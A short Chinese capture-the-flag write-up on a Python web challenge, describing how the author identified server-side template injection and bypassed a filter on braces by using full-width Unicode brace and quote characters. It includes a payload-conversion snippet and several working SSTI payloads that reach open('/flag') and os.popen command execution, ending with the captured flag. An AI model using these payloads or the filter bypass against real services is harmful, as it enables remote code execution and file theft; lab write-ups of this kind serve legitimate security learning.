打开网站就一个输入框,按理来说这种类型就是注入类型的漏洞了,至于什么注入还不知道
尝试了目录遍历以及漏洞扫描但是没有什么卵用,抓了一下包发现是python,所以考虑一下SSTI注入
但是好像{{}}被过滤了。
通过符号列表进行爆破,发现 / 也被过滤了,但是 ︷ 会被解析成 { ,︸ 会被解析成 }
然后就可以进行SSTI注入了
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
#str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}''' # 原字符串
str='{{().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open'](\'/flag\').read()}}'
#︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'',''' )
str = str.replace('\"', '"')
print(str)
下面是可以注入的ssti
︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸
得到flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}